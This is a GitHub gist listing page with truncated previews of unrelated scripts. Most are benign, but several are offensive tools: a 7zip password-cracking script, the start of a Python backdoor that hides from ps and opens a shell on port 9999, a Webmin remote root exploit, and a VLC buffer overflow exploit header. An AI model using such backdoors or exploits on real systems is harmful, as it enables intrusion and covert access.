Skip to content

Instantly share code, notes, and snippets.

View MahatmaCrond's full-sized avatar

MahatmaCrond MahatmaCrond

View GitHub Profile
@boneskull
boneskull / uninstall_vmware.sh
Created January 14, 2014 04:46
completely uninstall vmware on mac
#!/usr/bin/env bash
# Usage: bash uninstall_vmware.bash
remove() {
entry="$1"
echo -ne "Removing \e[1;34m$entry\e[0m... "
sudo rm -rf "$entry" &> /tmp/uninstall-vmware.log
if [[ ! -e "$entry" ]]; then
echo -e "\e[1;32mOK\e[0m"
@irazasyed
irazasyed / manage-etc-hosts.sh
Created March 7, 2015 09:16
Bash Script to Manage /etc/hosts file for adding/removing hostnames.
#!/bin/sh
# PATH TO YOUR HOSTS FILE
ETC_HOSTS=/etc/hosts
# DEFAULT IP FOR HOSTNAME
IP="127.0.0.1"
# Hostname to add/remove.
HOSTNAME=$1
@gabrielmerovingi
gabrielmerovingi / mycred-schreikasten-hook
Last active May 3, 2018 21:11
Custom myCRED hook awarding points for Schreikasten comments.
/**
* Register myCRED Hook
* First we need to tell myCRED that there is this custom hook.
* We need to give a unique ID for our hook and define the Hook class's
* name. The hook class is loaded seperatly.
* @requires myCRED 1.6 or higher
* @version 1.0.2
*/
add_filter( 'mycred_setup_hooks', 'register_schreikasten_mycred_hook' );
function register_schreikasten_mycred_hook( $installed ) {
@bcoles
bcoles / 7zip-jtr.sh
Last active April 23, 2024 19:17
7zip-JTR Decrypt Script
#!/bin/bash
# 7zip-JTR Decrypt Script
#
# Clone of JTR Decrypt Scripts by synacl modified for 7zip
# - RAR-JTR Decrypt Script - https://synacl.wordpress.com/2012/02/10/using-john-the-ripper-to-crack-a-password-protected-rar-archive/
# - ZIP-JTR Decrypt Script - https://synacl.wordpress.com/2012/08/18/decrypting-a-zip-using-john-the-ripper/
echo "7zip-JTR Decrypt Script";
if [ $# -ne 2 ]
then
@epinna
epinna / pypest.py
Last active September 4, 2023 02:13
Hackish one-liner memory-only backdoor agent which hides from ps
#!/usr/bin/env python
# This script prints a simple one-liner memory-only backdoor agent which hides from ps.
# It renames itself within the process list using a really hackish (AND POTENTIALLY DANGEROUS) /proc/self/mem rewrite
# and spawns a shell on port 9999. Just an experiment, there are simplest way to run unnoticed in the
# process list (see the technique used by EmPyre: https://github.com/adaptivethreat/EmPyre)
template = """
import sys,re,pty,os,socket
@gabrielmerovingi
gabrielmerovingi / mycred-bp-birthday-hook-example
Created November 1, 2016 15:48
Custom hook example: Give users points on their birthday (BuddyPress Version). The birthday date must be stored as a custom XProfile field in BuddyPress.
/**
* Register Birthday Hook
* @version 1.0
*/
add_filter( 'mycred_setup_hooks', 'mycred_pro_register_bp_birthday_hook' );
function mycred_pro_register_bp_birthday_hook( $installed ) {
$installed['birthday'] = array(
'title' => '%plural% for Birthdays',
'description' => 'Reward users with points on their birthday',
@oxagast
oxagast / wmsploit-remote-root-1.29-reprise.sh
Created April 26, 2017 11:10
Webmin Remote root <1.29 exploit
HOST=$1;
PORT=$2;
LHOST=$3;
LPORT=$4;
if [ $# -lt 4 ]
then
echo "Webmin <1.29 remote root exploit by oxagast"
echo "Priv esc by directory transversal to find cookie in logfile file as root, then session highjack into RCE.";
echo "Thanks to UmZ for directory transversal attack; greets to enki for asking me to try this!";
echo "Usage:"
@mgeeky
mgeeky / vlc-tivo-exploit.py
Created May 21, 2017 21:30
VLC 0.9.4 Stack-Based Buffer Overflow during TiVo file-format demuxing - discovered by Tobias Klein / CVE-2008-4654
#!/usr/bin/python
#
# VLC 0.9.4 Stack-based Buffer Overflow exploit while demuxing
# TiVo file format as it was described by Tobias Klein in his
# http://www.trapkit.de/advisories/TKADV2008-010.txt
# CVE-2008-4654
#
# Shellcode has no bad characters requirements,
# but must be at most 187 bytes long.
#
@jayluxferro
jayluxferro / Kali_Desktop_Environments_Installation_and_Removal.md
Last active July 6, 2024 16:33
Kali Desktop Environments Installation and Removal

XFCE Desktop


How to install XFCE Desktop Environment in Kali Linux:

Command:

apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin xfce4-goodies

How to remove XFCE in Kali Linux:

Command:

@sudomain
sudomain / LHTL notes
Last active December 13, 2023 16:48
Notes from Learning How to Learn MOOC
*Original intruction material by Dr. Barbara Oakley and Dr. Terrence Sejnowski as part of their MOOC "Learning How to Learn" available via Coursera (August 2017)
*Notes by Amir Saleh (not me) who shared his notes accessible via the discussion forums (https://docs.google.com/document/d/1GVYaVOVT2G9MS6ku6tLjhvoMazh7rWdqUu0Kts5C3Fc/edit)
*Reproduced per the paraphrasing rule outlined in the course FAQ:
*"We're often asked whether it's okay to use illustrations or quoted material from the course or book in your final project. It's perfectly possible to use illustrations from the course or book, but please cite where you got them, with the copyright information. If you quote anything from the video clips or the book A Mind for Numbers, you'll put it in quotation marks and cite where you got it. If you paraphrase information from the video clips or A Mind for Numbers--that is, you put things in your own words--then there's no need to put in a reference, although it would be nice to put some sort of general referenc